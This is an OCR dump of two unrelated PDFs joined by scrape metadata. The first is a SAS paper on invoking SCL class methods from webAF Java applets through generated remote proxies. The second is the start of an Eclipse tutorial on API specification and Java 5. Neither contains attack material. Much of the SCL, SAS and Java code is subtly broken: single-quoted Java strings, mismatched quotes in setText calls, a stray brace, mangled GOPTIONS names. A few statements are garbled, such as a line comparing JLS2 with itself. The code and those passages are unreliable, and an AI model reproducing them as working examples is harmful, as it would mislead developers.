"pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 14369, 0.05929]]}
|
olmocr_science_pdfs
|
2024-12-10
|
2024-12-10
|
6242735f47f9a07ba94918cb9bdbcb79e027615f
|
Let SAS® Do the Work for You: Interface SCL Classes from webAF™ Applications
Yvonne Selby, SAS Institute Inc., Cary, NC
ABSTRACT
With the new Java based webAF tools provided with AppDev Studio™, it is possible to create dynamic applications that use the power of SAS/AF® software classes to interface with your applets or applications. If you’re familiar with creating CLASS entries in Screen Component Language (SCL), you can write interfaces to your classes to take advantage of those classes within your Java application. This paper will demonstrate the process of creating and executing remote SCL interfaces using webAF.
INTRODUCTION
webAF provides components which allow you to view various types of SAS files such as data sets and MDDB files. Other components provided in webAF include models (or interfaces) to non-visual SAS structures such as library lists, catalogs, and data sets. Interfaces are also provided to allow you to submit code to SAS and retrieve the LOG and OUTPUT window results. Another interface is the connection component which allows you to connect to your SAS server and is needed whenever your applet contains components or interfaces which will utilize SAS in any way.
webAF also provides functionality for generating remote SCL interfaces which ultimately allow you to invoke your SCL class methods from within your Java applet. All of this basic webAF functionality mentioned above is defined in the com.sas.ComponentInterface interface which is implemented in the base class com.sas.Component.
Another feature provided in webAF is automatic Java code generation. As you drag and drop components on your applet/application frame, webAF generates much of the Java source code for you. In addition, it automatically inserts comments to indicate where it is appropriate for you to add your own code. Source code that cannot be modified is protected so required code cannot be accidentally removed. The source code editor in webAF features color coding as well as automatic indentation to make writing your applets much easier.
This article will use an example application as a basis for discussing generating remote proxies, adding event handlers, and ultimately modifying the Java source to add the functionality required in your application.
THE APPLICATION
The application displays a company’s divisional organization chart such as one that may be used for technical support. You can select a node or person from the tree to display more information about the selected employee. After selecting an employee, it displays the employee’s name, department and position within that department. You can optionally view more detailed information about the employee by selecting a pushButton labeled View Support Info. You can also view a bar chart of the problems the employee has worked on for the current month.
The first step in developing a webAF application is to create a project. A project is a container for a set of files that webAF uses to create an applet or application. It includes a list of all files used by the project and the project's properties. The name of this project is proxydemo. Figure 1 shows the applet frame as it appears in the build environment.
Figure 1 proxydemo Frame in Build Environment
The components of the proxydemo project are:
- treeView1: a treeView component which will display an organizational chart.
- imageView1: an imageView component which will display the contents of a stored GRSEG entry.
- textarea1: a scrollable textArea component which will display the contents of a SAS catalog SOURCE Entry.
- viewimage: a pushButton component which will fire an event to display the GRSEG entry. The text property has been changed to View Image.
- viewinfo: a pushButton component which will fire an event to display the SOURCE entry contents. The text property has been changed to View Support Info.
- area: a textField component that displays the name of the area in which the employee works.
- name: a textField component that displays the name of the selected employee.
- emplevel: a textField component that displays the level of the employee.
- connection1: a connection component that allows the Java Applet to communicate with SAS.
- dataSetInterface1: a dataSetInterface model which is dropped...
Java to invoke remote SCL class methods.
methodsInterface1 a methodsInterface model which allows Java to invoke remote SCL class methods. You must build this interface and add it to your project.
To build this project, you can drag and drop all of the visual components onto your frame and arrange them in any order you like.
The dataSetInterface model is dropped on the treeView component automatically linking it to the model property of the treeView1 component. The treeView component then recognizes the property for textColumn as the text to display for the nodes in the tree. The levelColumn property determines at which level in the tree diagram the current node is displayed. The indexColumn defines where in the data set this level exists. The dataSetInterface and the treeView component do not recognize other variables in the data set. Therefore, you need to be able to query the selected node and retrieve the other variable values from the data set.
The dataSetInterface model has been assigned to the dataSet property. For the textColumn property, number 1 has been assigned to point to the first variable, NAME, in the dataset. Number 2 has been assigned to the levelColumn property to point to the second column in the data set, LEVEL. Number 3 has been assigned to the indexColumn property to point to the third column in the data set called INDEX. The rootText property has been assigned the value “Technical Support Organization.” These properties are automatically understood by the treeView component and are used to display the appropriate diagram.
the following methods are defined in this class:
<table>
<thead>
<tr>
<th>Method Name</th>
<th>SCL Entry</th>
<th>Label</th>
</tr>
</thead>
<tbody>
<tr>
<td>GETROOTVALUE</td>
<td>CUSTOM.ROCF.METHODS.SCL.GetRoot</td>
<td></td>
</tr>
<tr>
<td>GETOTHERVALUE</td>
<td>CUSTOM.ROCF.METHODS.SCL.GetOther</td>
<td></td>
</tr>
<tr>
<td>GETPICTURE</td>
<td>CUSTOM.ROCF.METHODS.SCL.GetPicture</td>
<td></td>
</tr>
<tr>
<td>DISPLAYSOURCE</td>
<td>CUSTOM.ROCF.METHODS.SCL.DisplaySource</td>
<td></td>
</tr>
</tbody>
</table>
The GETROOTVALUE method will be called when the first real node value is clicked on in the treeView1 component. The GETOTHERVALUE method will be called whenever any node other than the first node is clicked on in the treeView1 component. Input parameters common to both of these methods are the dataSetName, the levelColumn number, the textColumn number and the indexColumn number assigned in dataSetInterface1. The parameter returned by both methods is an SCL list.
The GETOTHERVALUE method requires additional input parameters. These include values for the text of the parent node, the index position of the selected node in relation to its siblings, the depth or level of the parent node, as well as the depth of the current node.
The GETPICTURE method has two input parameters, the file reference for a SOCKET connection and the location of the stored GRSEG entry. A SOCKET connection exists between the SAS server and the client application. The server opens a connection and waits for the client to connect to it. The connection allows data to flow back and forth between the client and server as needed. A GRSEG entry is a vector graphics file produced by a SAS/GRAPH® procedure. Before it can be displayed in the Java applet, it must be converted to a bitmap. The SOCKET connection allows the GRSEG output on the SAS host to be streamed directly to the Java client, eliminating the need to create and store a bitmap file on the server.
Input to the DISPLAYSOURCE method is the location of the SOURCE entry associated with the selected employee. The method returns an SCL list containing the contents of that source entry.
GETROOTVALUE Method
The return value for a remote SCL method must be listed first in the METHOD statement. As mentioned earlier, this method returns an SCL list to the Java client. Using the values received for the input parameters, the SCL program opens the data set, determines the column name for the number passed in from the retrieved levelColumn property, and determines the column names for the text column and the index column. It fetches the first record in the data set and uses the GETVARC function to retrieve the values for the RANK, AREA, IMAGE, and INFO columns in the data set. These values are then inserted into the SCL list using the INSERTC function.
THE SCL CLASS
The SCL class, CUSTOM.ROCF.METHODS.CLASS, has been defined as a subclass of SASHELP.FSP.OBJECT.CLASS. Since remote interfaces cannot contain visual components, your SCL CLASS methods will normally be subclasses of SASHELP.FSP.OBJECT.CLASS.
The SCL source code for the GETROOTVALUE method follows.
```scl
getroot: method list 8 dsetname $ levelvar
textvar indexvar 8;
list=makelist();
dsid=open(dsetname);
levelcol=varname(dsid,levelvar);
textcol=varname(dsid,textvar);
indexcol=varname(dsid,indexvar);
rc=where(dsid,levelcol||'|=1');
rc=fetch(dsid);
desc=getvarc(dsid,textvar);
indexval=getvar(dsid,levelvar);
indexcol=varname(dsid,indexvar);
rank=getvarc(dsid,rank);
area=getvarc(dsid,area);
imageloc=getvarc(dsid,image);
infoloc=getvarc(dsid,info);
rc=where(dsid,levelcol||'='||indexcol||' ge '||indexval);
rc=insertc(list,desc,-1);
rc=insertc(list,rank,-1);
rc=insertc(list,area,-1);
rc=insertc(list,imageloc,-1);
rc=insertc(list,infoloc,-1);
dsid=close(dsid);
endmethod;
```
The purpose of the GETOTHERVALUE method is to ultimately build a where clause that will return the same records as those displayed in the treeView for the selected node and that node's siblings. In this method, the SCL program searches for the text of the parent node and fetches that record. It then uses the GETVARN function to get the value of the INDEX variable. This will be the starting index for the final WHERE subset that is applied to retrieve the records for the siblings of the selected node.
If the depth or level of the selected node is greater than 2, a WHERE clause is applied to subset the data set. The stopindex value isn’t needed. It instead retrieves records where the INDEX variable is GE to the startindex value. The final WHERE clause is assigned to the variable WHERESTR.
If the depth equals 2, a subset is applied to count the records where the LEVEL value is equal to 2.
If there is more than 1 row in the data set where LEVEL=2, the last record in that WHERE subset is fetched and GETVARN is again used to retrieve the value of the INDEX variable. This gives you the stopindex value for the final WHERE clause. The appropriate where clause is assigned to the SCL variable, WHERESTR.
If the value of ROWCOUNT equals 1, the final where clause is defined and assigned to the WHERESTR variable.
Once the final and appropriate where clause has been built, it is applied to the data set. The index value passed to the SCL method from the Java applet indicates the position of the selected node in relation to its siblings. It is important to note that, unlike the typical SCL index, the index for the Java treeView component begins at zero. It is therefore necessary to add one (1) to the index value to insure that the appropriate record in the subset is fetched. The GETVARC function retrieves the values for the RANK, AREA, IMAGE, and INFO columns in the data set. These values are then inserted in the SCL list using the INSERTC function.
GETPICTURE Method
The SCL source code for the GETPICTURE method follows.
```sas
getpic:
method fileref $ imageloc $;
libref=scan(imageloc,1,'.');
catalog=scan(imageloc,2,'.');
entry=scan(imageloc,3,'.');
submit continue;
goptions gsfname=&fileref gaccess=gasasfile
device=gif373
check=white nodisplay;
proc greplay i gout=&libref.&catalog nofs;
play &entry;
quit;
goptions reset=all;
endsubmit;
endmethod;
```
The GETPICTURE method accepts as parameters a file reference and an image location string. The IMAGELOC variable contains the fully qualified name of the GRSEG entry such as EMPLOYEE.INFO.T9.GRSEG. Using the SCAN function the LIBREF, CATALOG, and ENTRY variables are assigned the appropriate values. A SUBMIT block then executes with the values of the SCL variables substituted for the ampersand references in the submitted code.
The GSFPNAME option is assigned the file reference received from the calling method. This file reference points to a SOCKET connection described earlier. Using the GOPTIONS GSFPNAME, GAACCESS=GSASFILE, and DEVICE=GI F373, the results of the replayed graph are automatically streamed directly to the Java client. By streaming your graphics output, you don’t have to generate a physical file such as a GIF file and store it on your WEB server.
PROC GREPLAY executes to replay the specified GRSEG entry.
DISPLAYSOURCE Method
The SCL source code for the DISPLAYSOURCE method follows.
```sas
dispsrc:
method list 8 source $;
list=makelist();
rc=fillist('catalog',source,list);
endmethod;
```
The DISPLAYSOURCE method builds an SCL list using the MAKELIST function and then uses the FILLIST function to populate it with the contents of the SOURCE entry. This SCL list is returned to the calling Java method.
DEFINING THE REMOTE PROXY INTERFACE
Once you have defined your SCL class and tested the methods from within your SAS session, you can build your proxy interface to the class. A proxy is an entity that performs a function on your behalf. In the context of this application, a proxy is a Java class that adheres to the SAS model’s interface and understands how to talk to the remote SCL object. webAF has a Remote Interface Wizard and a Proxy Generation Wizard to facilitate the creation and implementation of these proxies.
The first step is to open your project and select Remote Interface from the FILE menu shown in Figure 2.

The New Remote Interface Wizard shown in Figure 3, is invoked to help in the creation of the interface.

For the Remote SCL Class Entry, specify the four level name of your CLASS entry. The interface name is automatically filled in for you. By default, the interface name is given the same name as your CLASS entry. You can change the name of the interface to be something more descriptive if you choose. For this example, you will use the default value.
When you click Next, the wizard displays the next window, Figure 4, automatically filling in the value for Extends. As noted earlier, com.sas.ComponentsInterface contains all of the basic webAF functionality, so your remote SCL interface will be an extension of this.
Figure 4 New Remote Interface Wizard - Step 2 of 3
Selecting Next will display the final window shown in Figure 5.
Figure 5 New Remote Interface Wizard - Step 3 of 3
In this window, you have the opportunity to change the location of the generated source file. You can also select whether or not to insert the source into the current project. In this example, the defaults are accepted and the new interface is inserted into the current project.
When you select Finish, a new window source entry displays the Java code shown in Figure 6.
Figure 6 methodsInterface Source Code
The first method, GETROOTVALUE, specifies com.sas.collection.hlist.HListInterface as the return type. This construct provides the necessary interface for an SCL list to be passed to a Java application. The method name follows the return type. Within the parentheses, the data types for the parameters that will be passed to the SCL class are specified.
The GETOTHERVALUE method also has a return type of com.sas.collection.hlist.HListInterface. This method accepts a number of parameters. The first, dataset, is of type String. The parameters levelvar, textvar, and indexvar are of type int. The pnodetext parameter is of type String and all remaining parameters are of type int.
The GETPICTURE method has no return type, so void is specified. This method accepts two parameters fileref and entryname, both of type String.
Again, com.sas.collection.hlist.HlistInterface is specified as the return type for the DISPLAYSOURCE method. This method accepts one parameter, source, of type String.
Once you have completed specifying the source code for your methods, you can compile them and generate the remote proxies. This can be accomplished in a single step by right clicking in the source window and selecting Generate remote proxies from the popup list. The ProxyWizard window, Figure 7, is displayed allowing you to select the protocols to use to communicate with your remote SCL object. In this case, the default is SAS.
Select Next to display the second window (Figure 8). Here you must decide whether or not to insert the proxies into the current project. By default, No is selected. For this example, change the selection to Yes.
Upon selecting Finish, the proxy files are generated and a component is added to the current project called methodsInterface1.
With the proxy generated, the functionality of your remote SCL classes can be accessed from the Java application. Before doing that, however, some of the components need to have event handlers defined for them. webAF allows you to define an event on a component by selecting Handle Event from the popup list for the currently selected component.
EVENTS
In webAF an event is the link between an action (such as a mouse click, a window opening or closing, or a value being changed) and a Java program that provides instructions on how the applet or application should respond. The Java program that responds to the event is called the event handler.
Defining an event handler on a source component such as the treeView1 component in this example, allows the source component to generate an event which can then be received and acted upon by a second component called the listener.
In this example, you need to define 3 event handlers, one for each of the treeView1, viewimage, and viewinfo components. These three components will each be a source component for its respective handler. When you select the Handle Event item from the popup, it opens the New Event Handler window. For each of the three components in turn, select "Write your own code" when prompted with "Which type of handler do you want to create?". Let it default to "Within the frame class" for "How do you want to implement the handler?".
For the treeView1 component, select "when the event occurs on treeView1", and then select treeView1 for the source component and select actionPerformed for the method.
For the ImageView component, select "when the event occurs on viewimage", and then select viewimage for the source component and select actionPerformed for the method. Do the same thing for the viewinfo component.
The actionPerformed event is fired when you make a selection in the treeView1 component or when the pushButton components, viewimage or viewinfo, are selected. So, when a selection is made, the application needs to ultimately execute one of the four methods defined in the remote interface, methodsInterface. To accomplish this, the Java source code must be modified.
ADDING JAVA CODE TO THE APPLET
With the event handlers added to the Java source code, additional code can be added to complete the application. First some import statements are needed to import the appropriate classes or packages of classes. In this case you need to include the following import statements.
```java
import com.sas.collection.hlist.*;
import com.sas.visuals.NodeView;
import java.awt.Image;
import java.awt.Toolkit;
import java.io.ByteArrayOutputStream;
import com.sas.sasserver.inputstream.StreamInterface;
import com.sas.sasserver.inputstream.ReadExitInterface;
```
The first import statement imports the hlist package which includes HlistInterface. This is needed because several of the methods return this type. The com.sas.visuals.NodeView class is needed to determine which node is selected in the treeView1 component. The java.awt.Image class and the java.awt.Toolkit class are needed to construct an image from the output received from the GREPLAY procedure. The com.sas.sasserver.inputstream.StreamInterface and com.sas.sasserver.inputstream.ReadExitInterface classes are needed to create the SOCKET connection so the output from the GREPLAY procedure can be streamed directly to the Java client.
Since the ReadExitInterface is an abstract interface that cannot be instantiated so the project must implement it. Add the following statement to the class definition as shown in figure 10.
```
transient String infoloc, imageloc;
transient proxydemo currentapplet;
transient ByteArrayOutputStream out;
```
Also, add the following fields defining them as transient. The transient modifier defines the fields so they will not be part of the class’s persistent state.
```
// Note: Add initialization code here
imageView1.setVisible(false);
textArea1.setVisible(false);
currentapplet=this;
```
At initialization of the application, the textArea1 and imageView1 components should be hidden. To do this, the setVisibility method can be used to set the visibility to false. The following code is added to the postInit method.
```
public void postInit(){
// Note: Add initialization code here
imageView1.setVisible(false);
textArea1.setVisible(false);
currentapplet=this;
}
```
In addition, the currentapplet variable is assigned the value referenced by this which is an implicit argument that refers to the current object. In this example, this refers to the proxydemo applet object. You can relate the implicit argument, this, to _SELF_ in SCL.
EXECUTING THE EVENTS
Remember that when a node is selected in the treeView1 component, an event should be fired to execute our code. The event handler code for this component should determine the selected node, find that node in the data set, and fetch the variable values related to that node. Figure 11 shows the frame after a node has been selected.
```
public void processReadBuffer(byte[] buffer, int len)
{
out.write(buffer,0,len);
}
```
The code for the actionPerformed event handler needs to be entered for the treeView1 component.
public void treeView1ActionPerformedHandler1
(Java.awt.event.ActionEvent event){
// NOTE: Add new code here
textArea1.setVisible(false);
imageView1.setVisible(false);
NodeView parent='null';
NodeView rootnode=treeView1.getRoot();
String datasetname='null';
int indexcolumn=dataSetInterface1.getIndexColumn();
int index=parent.getIndex(currentnode,0);
if (depth == 1) {
textlist=methodsInterface1.getrootvalue
(datasetname, levelcolumn,textcolumn,
indexcolumn);
} else if ( depth > 1) {
parentdepth=parent.getDepth();
textlist=methodsInterface1.getothervalue{
datasetname,levelcolumn,textcolumn,
index, parentdepth, depth);
} name.setText("**+textlist.getItem(0))");
emplevel.setText("**+textlist.getItem(1));
area.setText("**+textlist.getItem(2));
infoloc="**+textlist.getItem(3));
imageloc="**+textlist.getItem(4));
}
The event handler code for the treeView1 component must perform a number of tasks.
- It hides the textArea1 and imageView1 components. These should only display after selecting a node and then clicking on the perspective pushButton components, viewinfo or viewimage.
- The selected node is retrieved and assigned to the NodeView field, currentnode, using the getSelectedNode method of the treeView class. Also, the rootNode is retrieved and assigned to the rootNode field.
- Other fields are defined for later use. These include parent, depth, index, and parentdepth.
- The value of the dataSetName property of dataSetInterface1 is queried and assigned to the dataSetName field. Likewise, the values of the indexColumn, levelColumn, and textColumn properties are assigned to the fields, indexColumn, levelColumn, and textColumn respectively.
Remember that these properties contain the position of the variable within the corresponding SAS data file.
- Next an HlistInterface field, called textlist, is defined for later use. The textlist field will ultimately be assigned the contents of the SCL list returned by the methodsInterface1.displaysource method call.
- If the currentnode is the same as the rootnode, no action should occur. This is because the rootnode contains descriptive text and does not correspond to a record in the SAS data file.
- However, if currentnode is not the same as the rootnode, invoke the getDepth method to return the value of the levelColumn variable in the SAS data file. Get the parentnode using the getParent method. Then retrieve the relative index location of the currentnode within the current list of children for the parent node. This is necessary to determine which record to fetch in the SCL method when the final WHERE clause is applied.
- If the depth of the current node is 1, you clicked on the first real node displayed in the treeView component. This should correspond to the first record in the SAS data file. Invoke the methodsInterface1.getRootvalue method passing the values for the datasetname, levelColumn, textColumn, and indexColumn. The SCL proxy method executes and returns a list containing the variable values for the selected record.
- If the selected node depth is anything other than 1, get the depth of the parent node. Invoke the methodsInterface1.getothervalue method passing the values for datasetname, levelColumn, textColumn, indexColumn, parentnode text, index, parentdepth, and depth. When the SCL proxy method executes, it returns a list of the variable values for the selected record.
- The list is assigned to textlist and from the textlist HlistInterface item, the individual HlistItem values are retrieved and assigned to the corresponding fields. The getItem method of the listInterface class is used to retrieve the individual HlistItem values. The first three items are assigned to the text field components, name, area, and emplevel using the setText method. The nonvisual fields imageloc and infoloc are assigned their values.
This completes the code for the treeView1 event handler.
When the viewimage pushButton component is selected, the event will trigger execution of our event handler code. This will create a SOCKET connection and invoke the methodsInterface1.getpicture method. Figure 12 shows the frame after the viewimage button has been selected.
Figure 12 After selecting the viewimage component
Event Handler code for viewimage component
```java
public void viewimageActionPerformedHandler2(Java.awt.event.ActionEvent event) {
// NOTE: Add new code here
InputStreamInterface isinterface;
InputStreamInterface isinterface=
__rocf.newInstance(InputStreamInterface.class,
connection1);
String fileref=
isinterface.makeInputStream(currentapplet);
out= new ByteArrayOutputStream();
methodsInterface1.getpicture(fileref,imageloc);
byte[] buffer=out.toByteArray();
out.close();
Image img=
Toolkit.getDefaultToolkit().createImage(buffer);
imageView1.setImage(img);
imageView1.setVisible(true);
textArea1.setVisible(false);
}
```
When the viewimage component is selected, the following sequence takes places.
- An InputStreamInterface called isinterface is defined for later use.
- A try/catch is used to capture any exception that might occur.
- Interfaces themselves can’t be instantiated but since they are data types, in the same manner as classes are data types, you can define a field as a data type of an interface by casting the object to the specified interface. In this case, isinterface is assigned a new instance of an input stream for connection1.
- The String variable, fileref, contains a reference to a SOCKET connection so you can ultimately read the information that is returned to the Java client from the remote SCL proxy method, methodsInterface1.getpicture, via this SOCKET connection.
- The out field is instantiated as a new ByteArrayOutputStream.
- The remote proxy method, methodsInterface1.getpicture executes passing the value of the fileref and imageloc fields. The method executes and using the GOPTIONS specified, the GRSEG entry is replayed and sent as a graphics stream file back to the Java client.
- A byte array is created from the stream file and using the Java Toolkit class, the buffer is converted to an Image object.
- The image, img, is assigned to the imageView1 component using the setImage method.
- The imageView1 component is made visible and the textArea1 component is hidden.
Finally we must add code for the event handler associated with selection of the viewImage pushbutton. When this button is pushed, an event should be fired to invoke the remote SCL proxy method methodsInterface1.displaysource. This will ultimately retrieve the contents of a SOURCE entry in a SAS catalog and display the text in the textArea1 component shown in Figure 13.
Figure 13 After selecting the viewinfo component
Event handler code for viewinfo component
```java
public void viewinfoActionPerformedHandler3(Java.awt.event.ActionEvent event) {
// NOTE: Add new code here
HListInterface textlist =
methodsInterface1.displaysource(infoloc);
textArea1.setModelInterface(
(com.sas.ModelInterface) textlist);
textArea1.setVisible(true);
imageView1.setVisible(false);
}
```
For this event, the method is invoked passing the value of the infoloc field. The results of this method invocation returns an SCL list and the contents are assigned to the
...
HlistInterface item textlist. The textlist is then defined to be the model for the textAreall component. Using the setModelInterface method, the textlist is cast to com.sas.ModelInterface object and the model is assigned to the textAreall component and it automatically displays the contents. The textAreall component is made visible and the imageview1 component is hidden.
This completes the additional code needed for this example project.
**SUMMARY**
webAF generates much of the Java code for you as you build your projects and define your remote proxies. In this example, some Java code is needed to full implement the functions the application. The amount of Java code necessary for any given application be greatly reduced by substituting SCL methods for Java code when accessing SAS data.
Building the remote proxy requires some knowledge of the parameter types you will be passing to your remote SCL method and also an understanding of the return types. Being familiar with writing classes in SAS/AF software and Object Oriented Programming (OOP) can speed up the process.
You can also write remote SCL classes that can be reused by many projects. While the getrootvalue and getothervalue methods are defined specifically to return a list of column values, they could be modified to make them more generic and therefore available for use in other projects.
The getpicture method could be expanded to not only replay stored graphics but maybe to even execute SAS/GRAPH software procedures. The displaysource method could be modified to retrieve the contents of stored flat files as well as OUTPUT, LOG, and SOURCE entries in catalogs.
Using remote SCL methods can make your Java application much more robust especially when working with SAS procedures and exploiting the power of the SAS system.
**CONCLUSION**
Using webAF in conjunction with SCL methods can make not only coding your Java application easier, since it may cut down on the amount of Java source code, it may also speed up your coding process if you’re very familiar with SAS and SCL but have limited knowledge of Java.
The wizards provided in webAF also make writing your applications much easier. The wizards help build the basic code for you which you can modify to fit your needs.
For more information regarding webAF and AppDev Studio, refer to the online documentation and help. You may also find additional information on the World Wide Web at www.sas.com/appdev_studio.
**REFERENCES**
|
{"Source-Url": "https://www.lexjansen.com/nesug/nesug99/ap/ap184.pdf", "len_cl100k_base": 6945, "olmocr-version": "0.1.53", "pdf-total-pages": 10, "total-fallback-pages": 0, "total-input-tokens": 29378, "total-output-tokens": 7546, "length": "2e12", "weborganizer": {"__label__adult": 0.00019752979278564453, "__label__art_design": 0.00015413761138916016, "__label__crime_law": 0.00014829635620117188, "__label__education_jobs": 0.0004038810729980469, "__label__entertainment": 3.159046173095703e-05, "__label__fashion_beauty": 7.69495964050293e-05, "__label__finance_business": 0.0002033710479736328, "__label__food_dining": 0.0001703500747680664, "__label__games": 0.0002639293670654297, "__label__hardware": 0.0004253387451171875, "__label__health": 0.00013244152069091797, "__label__history": 7.462501525878906e-05, "__label__home_hobbies": 4.416704177856445e-05, "__label__industrial": 0.00022971630096435547, "__label__literature": 7.361173629760742e-05, "__label__politics": 9.846687316894533e-05, "__label__religion": 0.00020563602447509768, "__label__science_tech": 0.0015010833740234375, "__label__social_life": 4.374980926513672e-05, "__label__software": 0.0102996826171875, "__label__software_dev": 0.98486328125, "__label__sports_fitness": 0.00014507770538330078, "__label__transportation": 0.0002058744430541992, "__label__travel": 0.00011467933654785156}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 32553, 0.00808]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 32553, 0.50559]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 32553, 0.81001]], "google_gemma-3-12b-it_contains_pii": [[0, 4288, false], [4288, 8991, null], [8991, 11779, null], [11779, 14726, null], [14726, 17003, null], [17003, 19507, null], [19507, 22534, null], [22534, 26818, null], [26818, 29987, null], [29987, 32553, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4288, true], [4288, 8991, null], [8991, 11779, null], [11779, 14726, null], [14726, 17003, null], [17003, 19507, null], [19507, 22534, null], [22534, 26818, null], [26818, 29987, null], [29987, 32553, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 32553, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 32553, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 32553, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 32553, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 32553, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 32553, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 32553, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 32553, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 32553, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 32553, null]], "pdf_page_numbers": [[0, 4288, 1], [4288, 8991, 2], [8991, 11779, 3], [11779, 14726, 4], [14726, 17003, 5], [17003, 19507, 6], [19507, 22534, 7], [22534, 26818, 8], [26818, 29987, 9], [29987, 32553, 10]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 32553, 0.0212]]}
|
olmocr_science_pdfs
|
2024-12-10
|
2024-12-10
|
1e5b36d74a2fff1d535b54e1fc8b83fc809c2b03
|
Tutorial: Eclipse APIs and Java 5
Boris Bokowski, John Arthorne, Jim des Rivières
IBM Rational Software, Ottawa Lab
<table>
<thead>
<tr>
<th>Time</th>
<th>Session Title</th>
</tr>
</thead>
<tbody>
<tr>
<td>08:00-08:15</td>
<td>Welcome + Introduction</td>
</tr>
<tr>
<td>08:15-09:00</td>
<td>Recap: API Design</td>
</tr>
<tr>
<td>09:00-09:15</td>
<td>Autoboxing, Variable Arity</td>
</tr>
<tr>
<td>09:15-09:30</td>
<td>Enumerations</td>
</tr>
<tr>
<td>09:30-09:45</td>
<td>Annotations</td>
</tr>
<tr>
<td>09:45-10:00</td>
<td>Covariant Return Types</td>
</tr>
<tr>
<td>10:00-10:30</td>
<td>Break</td>
</tr>
<tr>
<td>10:30-11:00</td>
<td>Generifying Classes and Interfaces</td>
</tr>
<tr>
<td>11:00-11:30</td>
<td>Generifying Fields and Methods</td>
</tr>
<tr>
<td>11:30-12:00</td>
<td>Evolving Generic Types and Methods</td>
</tr>
<tr>
<td>12:00-12:30</td>
<td>New in 3.3: API tools</td>
</tr>
</tbody>
</table>
APIs and Java 5
- This is not a tutorial on Java 5 language features
- This is tutorial on impact of Java 5 language features on API design
- Ref: Evolving Java-based APIs, rev 1.1
- http://wiki.eclipse.org/index.php/Evolving_Java-based_APIs
Language features added in Java 5
- Recap – new in JLS3
- Autoboxing
- Variable arity methods
- Enumerations
- Annotations
- Covariant return types
- Generic types
- Java Language Specification, Third edition (JLS3)
- Full text is available online
- JLS3 is the language spec underlying Java 5 (aka JDK 1.5)
Language Compatibility
- Language is highly compatible with previous versions of Java
- All programs that compiled under JLS2 also compile under JLS2 with the same meaning
- Exception: “enum” is no longer allowed as identifier
- Some program texts that did not compile under JLS2 are legal under JL3
- Existing 1.4 class files will link and run as before with 1.5 class libraries
What would we like people to learn
- Appreciate the role of having strong API specifications
- View API from different perspectives
- Specification
- Implementer
- Client
- Make people aware of the danger of overspecification
- API is a cover story to prevent you from having to tell the truth
- Wiki hub for Eclipse API material
http://wiki.eclipse.org/index.php/API_Central
Designing APIs == making laws
- Consider which side of road one drives on
- Think back to when there was no convention
- Slowdowns when oncoming carts meet
- Do I pass on (my) left or right?
- Individuals acting locally cannot improve things much
- Significant improvement requires convention
- Convention must be universally adopted to be effective
- Convention overrides desires of individuals
- Convention must choose left vs right
- Everyone passes on left would work fine
- Everyone passes on right would also work fine
- Convention must make arbitrary choice
- Once convention is in widespread use, passing speeds pick up
- Becomes downright dangerous to not follow convention
- Becomes important everyone knows about convention
- Becomes hard to rethink arbitrary choice once made
Recap: API Design
My eyes are dim I cannot see.
I have not got my specs with me.
I have not got my specs with me.
--- *The Quartermaster's Song*
API specifications
- APIs are interfaces with specified and supported behavior
API specs
- API specs play many key roles
A. Tell client what they need to know to use it
B. Tell an implementor how to implement it
C. Tell tester about key behaviors to test
D. Determines blame in event of failure
Lessons learned
- API is not just public methods
No specs. No API.
References
- **Requirements for Writing Java API Specifications**
- **How to Write Doc Comments for the Javadoc Tool**
Appropriate level of specification detail
- Is the specification too specific or detailed, making it difficult to evolve later on?
- Is the spec too vague, making it difficult for clients to know the correct usage?
- Is the API designed to be implemented or extended by clients?
API Contract language
- The language used in an API contract is very important.
- Changing a single word can completely alter the meaning of an API.
- It is important for APIs to use consistent terminology so clients learn what to expect.
API Contract language
- RFC on specification language: http://www.ietf.org/rfc/rfc2119.txt
- **Must, must not, required, shall**: it is a programmer error for callers not to honor these conditions. If you don’t follow them, you’ll get a runtime exception (or worse)
- **Should, should not, recommended**: Implications of not following these conditions need to be specified, and clients need to understand the trade-offs from not following them
- **May, can**: A condition or behavior that is completely optional
API Contract language
Some Eclipse project conventions:
- **Not intended**: indicates that you won’t be prohibited from doing something, but you do so at your own risk and without promise of compatibility. Example: “This class is not intended to be subclassed”
- **Fail, failure**: A condition where a method will throw a checked exception
- **Long-running**: A method that can take a long time, and should never be called in the UI thread
- **Internal use only**: An API that exists for a special caller. If you’re not that special caller, don’t touch it
Specs for Subclassers
- Subclasses may
- "implement" - the abstract method declared on the subclass must be implemented by a concrete subclass
- "extend" - the method declared on the subclass must invoke the method on the superclass (exactly once)
- "re-implement" - the method declared on the subclass must not invoke the method on the superclass
- "override" - the method declared on the subclass is free to invoke the method on the superclass as it sees fit
- Tell subclasses about relationships between methods so that they know what to override
Compatibility
It's the same old story
Everywhere I go,
I get slandered,
Libeled,
I hear words I never heard
In the bible
And I'm one step ahead of the shoe shine
Two steps away from the county line
Just trying to keep my customers satisfied,
Satisfied.
---Simon & Garfunkel, *Keep the Customer Satisfied*
Compatibility
- **Contract** – Are existing contracts still tenable?
- **Binary** – Do existing binaries still run?
- **Source** – Does existing source code still compile?
Contract compatibility
Before:
```java
public Display getDisplay();
```
After:
```java
public Display getDisplay();
```
- Not contract compatible for callers of `getDisplay`
- Contract compatible for `getDisplay` implementors
Contract compatibility
- Weaken method preconditions – expect less of callers
